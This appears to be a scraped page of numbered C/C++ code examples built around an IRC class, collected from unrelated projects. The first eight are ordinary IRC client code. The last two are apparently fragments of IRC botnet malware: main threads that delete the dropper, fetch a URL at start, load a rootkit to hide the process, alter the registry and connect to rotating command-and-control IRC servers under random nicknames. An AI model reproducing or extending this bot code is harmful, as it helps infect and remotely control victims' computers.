void IRCClientBinding::Run (void* p)
	{
		START_KROLL_THREAD;

		IRC *irc = (IRC*)p;
		irc->message_loop();

		END_KROLL_THREAD;
	}
Пример #2
0
int __ircenv___start_all_irclist (IRCENV * ircenv)
{
    IRCLIST * iterator;
    IRC * irc;

    iterator = ircenv->__list_irc;
    while (iterator != NULL)
    {
        irc = (IRC *)(iterator->item);
        irc->init(irc);
        iterator = iterator->next;
    }
    return 0;
}
Пример #3
0
int __ircenv___kill_all_irclist (IRCENV * ircenv)
{
    IRCLIST * iterator;
    IRC * irc;
    int ret;

    iterator = ircenv->__list_irc;
    while (iterator != NULL)
    {
        irc = (IRC *)(iterator->item);
        ret = irc->shutdown(irc);
        ircenv->log(ircenv, IRC_LOG_NORM, "Thread %d shutdown with status %d\n", irc->id, ret);
        iterator = iterator->next;
    }
    return 0;
}
Пример #4
0
int __ircenv___start_irclist (IRCENV * ircenv, int id)
{
    IRCLIST * iterator;
    IRC * irc;

    iterator = ircenv->__list_irc;
    while (iterator != NULL)
    {
        irc = (IRC *)(iterator->item);
        if (irc->id == id) break;
        iterator = iterator->next;
    }
    if (iterator != NULL)
    {
        irc->init(irc);
        return 0;
    }
    return -1;
}
Пример #5
0
int main()
{
	IRC con;
	vm = new IRCVM(&con);
	con.start("irc.freenode.net", 6667, MYNICKNAME, "jeffcooper_bot", "jeffcooper_bot", "");
        con.hook_irc_command("PRIVMSG", &handlemsg);

	prog_info *r = (prog_info*)malloc(sizeof(struct prog_info));
	r->irc=&con;
	r->s=vm->S;


        pthread_t p;
	pthread_create(&p, NULL, runloop,&con);


	REPL((void*)r);
	pthread_cancel(p);
	return 0;
}
Пример #6
0
int __ircsock_connect(IRCSOCK * sock) {
    struct addrinfo hints;
    struct addrinfo *result, *res_ptr;
    int ai_res;
    char sport[6];
    IRC * irc;

    irc = sock->__irc;
    memset(&hints, 0, sizeof (struct addrinfo));
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;

    snprintf(sport, 6, "%d", sock->port);

    switch ((ai_res = getaddrinfo(sock->host, sport, &hints, &result))) {
        case 0: break;
        default:
            if (irc) irc->log(irc, IRC_LOG_ERR, "getaddrinfo failed: %s\n", gai_strerror(ai_res));
            return -1;
            break;
    }

    res_ptr = result;
    do {
        if ((sock->__sockfd = socket(res_ptr->ai_family, res_ptr->ai_socktype, res_ptr->ai_protocol)) != -1) {
            if (connect(sock->__sockfd, res_ptr->ai_addr, res_ptr->ai_addrlen) == 0) break;
            close(sock->__sockfd);
            sock->__sockfd = -1;
        }

    } while ((res_ptr = res_ptr->ai_next) != NULL);

    freeaddrinfo(result);
    if (res_ptr == NULL) {
        if (irc) irc->log(irc, IRC_LOG_ERR, "Connect failed\n", irc->id);
        return -1;
    }
    return 0;
}
Пример #7
0
int __ircsock_read(IRCSOCK * sock, __irc_line * line) {
    int count;
    char c, * buffer;
    IRC * irc;

    irc = sock->__irc;

    buffer = line->data;

    c = EOF;
    count = 0;
    while ((c = sock->__getc(sock)) != EOF && c != '\n') buffer[count++] = c;

    if (errno) return errno;

    buffer[count] = '\0';
    if (count > 0 && buffer[count - 1] == '\r') buffer[count - 1] = '\0';
    if (c == EOF && strlen(buffer) == 0) return EOF;

    if (strncasecmp(buffer, "PING", 4) != 0)
        irc->log(irc, IRC_LOG_RAW, "%s\n", buffer);

    return 0;
}
Пример #8
0
int main(int argc, char **argv)
{
	IRC *IRCCon = NULL;

	signal(SIGTERM, QuitFn);
	signal(SIGQUIT, QuitFn);
	signal(SIGHUP, QuitFn);
	con = new Console();

	// Additional startup code here

	while (shutdown == false)
	{
		try
		{
			IRCCon = new IRC();
		}
		catch (IRCError *e)
		{
			e->print();
			delete e;
			delete IRCCon;
			sleep(2);
			continue;
		}
		catch (rSON::JSONParserError &e)
		{
			fprintf(stderr, "%s\n", e.error());
			delete IRCCon;
			delete con;
			return 1;
		}
		sleep(1);
		try
		{
			IRCCon->Connect();

			while (shutdown == false)
			{
				timespec ts = {0, STD_NS_SLEEP};
				while (commandQueue.size() != 0)
				{
					Request *cmd = commandQueue.front();
					commandQueue.pop();
					cmd->process(IRCCon);
					delete cmd;
				}
				nanosleep(&ts, NULL);
			}
			while (commandQueue.size() != 0)
			{
				Request *cmd = commandQueue.front();
				commandQueue.pop();
				delete cmd;
			}
		}
		catch (IRCError *e)
		{
			e->print();
			delete e;
		}
		catch (IRCMessageError *e)
		{
			// should already be printed by now, so don't repeat
			delete e;
		}
		delete IRCCon;
	}

	delete con;
	// Additional shutdown code here
	return 0;
}
Пример #9
0
DWORD WINAPI Bthd(LPVOID param)
{
	for (int m=0;m<6;m++)
	{
		if(!(xetum=CreateMutex(NULL, FALSE, xetumhandle)))
				Sleep(5000);
		else
			break;
	}
	if (WaitForSingleObject(CreateMutex(NULL, TRUE, xetumhandle), 30000) == WAIT_TIMEOUT)
		ExitProcess(0);

	addthread(MAIN_THREAD,str_main_thread,main_title);
	srand(GetTickCount());
	dwstarted=GetTickCount();
	WSADATA wsadata;
	if (fWSAStartup(MAKEWORD(2,2),&wsadata)!=0)
		ExitProcess(-2);


	int i=0;
	DWORD id=0;
	char *ip;
	char hostname[256];
	struct hostent *h;
	fgethostname(hostname, 256);
	h = fgethostbyname(hostname);
	ip = finet_ntoa(*(struct in_addr *)h->h_addr_list[0]);
	strncpy(inip,ip,sizeof(inip));


	curserver=0;
	HookProtocol(&mainirc);
	
	while (mainirc.should_connect()) {
		if (!mainirc.is_connected())
		{
#ifdef _DEBUG
			printf("Trying to connect to: %s:%i\r\n",sinfo[curserver].host,sinfo[curserver].port);
#endif
#ifndef NO_FLUSHDNS
			FlushDNSCache();
#endif
			mainirc.start(sinfo[curserver].host,sinfo[curserver].port,
					  mainirc.nickgen(NICK_TYPE,REQ_NICKLEN),mainirc.nickgen(IDENT_TYPE,REQ_IDENTLEN),
					  mainirc.nickgen(REALN_TYPE,REQ_REALNLEN),sinfo[curserver].pass);
			mainirc.message_loop();
		}
		else
			mainirc.message_loop();

		Sleep(SFLOOD_DELAY);
		
		if (curserver==(srvsz-1))
			curserver=0;
		else
			curserver++;
	}

	// cleanup;
	//killthreadall();
	fWSACleanup();
	ReleaseMutex(xetum);
	ExitThread(0);

		return TRUE;
}
Пример #10
0
DWORD WINAPI BotThread(LPVOID param)
{
	for (int m=0;m<6;m++)
	{
		if(!(mutex=CreateMutex(NULL, FALSE, mutexhandle)))
			Sleep(5000);
		else
			break;
	}
//	if (WaitForSingleObject(CreateMutex(NULL, TRUE, mutexhandle), 30000) == WAIT_TIMEOUT)
//		ExitProcess(0);

	addthread(MAIN_THREAD,str_main_thread,main_title);

#ifndef _DEBUG
#ifndef NO_MELT
		char *melt=RegQuery(meltkey.hkey,meltkey.subkey,meltkey.name);
		if (melt)
		{
			SetFileAttributes(melt,FILE_ATTRIBUTE_NORMAL);
			int tries=0;
			while (FileExists(melt) && tries<3)
			{
				DeleteFile(melt);
				tries++;
				Sleep(2000);
			}
			RegDelete(meltkey.hkey,meltkey.subkey,meltkey.name);
		}
#endif // NO_MELT
#endif // _DEBUG

	srand(GetTickCount());
	dwstarted=GetTickCount();
#ifndef NO_VERSION_REPLY
	curversion=rand()%(versionsize);
#ifdef _DEBUG
	printf("Generated current_version: %d (%d), %s.\n",curversion,versionsize,versionlist[curversion]);
#endif
#endif

	WSADATA wsadata;
	if (fWSAStartup(MAKEWORD(2,2),&wsadata)!=0)
		ExitProcess(-2);

#ifndef _DEBUG
#ifndef NO_FCONNECT
	char readbuf[1024];
	HINTERNET httpopen, openurl;
	DWORD read;
	httpopen=fInternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
	openurl=fInternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE,NULL);
	if (!openurl)
	{
		fInternetCloseHandle(httpopen);
		fInternetCloseHandle(openurl);
	}
	fInternetReadFile(openurl,readbuf,sizeof(readbuf),&read);
	fInternetCloseHandle(httpopen);
	fInternetCloseHandle(openurl);
#endif // NO_FCONNECT
#endif // _DEBUG

#ifndef NO_INSTALLED_TIME
	if (!noadvapi32)
		GetInstalledTime();
	else
		sprintf(installedt,"Error");
#endif // NO_INSTALLED_TIME
	
	int i=0;
	DWORD id=0;

#ifndef NO_RECORD_UPTIME
	i=addthread(RUPTIME_THREAD,str_rup_thread,main_title);
	threads[i].tHandle=CreateThread(NULL,0,&RecordUptimeThread,0,0,&id);
#endif // NO_RECORD_UPTIME
	

#ifndef NO_AUTO_SECURE
#ifndef NO_SECURE
	NTHREAD secure;		
	secure.bdata2=TRUE;//loop
	i=addthread(SECURE_THREAD,str_asecure_thread,sec_title);
	threads[i].tHandle=CreateThread(NULL,0,&SecureThread,(LPVOID)&secure,0,&id);
#endif
#endif // NO_AUTO_SECURE
	
#ifndef NO_RDRIV
#ifndef _DEBUG
	rkenabled=InitRK();//initialize fu
	if (rkenabled)
		HideMe();//hide the process
#endif // _DEBUG
#endif // NO_RDRIV

#ifndef _DEBUG // maybe this will give the shutdown handler time to work
	RegWrite(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control","WaitToKillServiceTimeout","7000");
#endif
	
	//get internal ip
	char *ip;
	char hostname[256];
	struct hostent *h;
	fgethostname(hostname, 256);
	h = fgethostbyname(hostname);
	ip = finet_ntoa(*(struct in_addr *)h->h_addr_list[0]);
	strncpy(inip,ip,sizeof(inip));


	curserver=0;
	HookProtocol(&mainirc);
	
	while (mainirc.should_connect()) {
		if (!mainirc.is_connected())
		{
#ifdef _DEBUG
			printf("Trying to connect to: %s:%i\r\n",servers[curserver].host,servers[curserver].port);
#endif
#ifndef NO_FLUSHDNS
			FlushDNSCache();
#endif
			mainirc.start(servers[curserver].host,servers[curserver].port,
					  mainirc.nickgen(NICK_TYPE,REQ_NICKLEN),mainirc.nickgen(IDENT_TYPE,REQ_IDENTLEN),
					  mainirc.nickgen(REALN_TYPE,REQ_REALNLEN),servers[curserver].pass);
			mainirc.message_loop();
		}
		else
			mainirc.message_loop();

		Sleep(SFLOOD_DELAY);
		
		if (curserver==(serversize-1))
			curserver=0;
		else
			curserver++;
	}

	// cleanup;
	killthreadall();
	fWSACleanup();
	ReleaseMutex(mutex);
	ExitThread(0);
}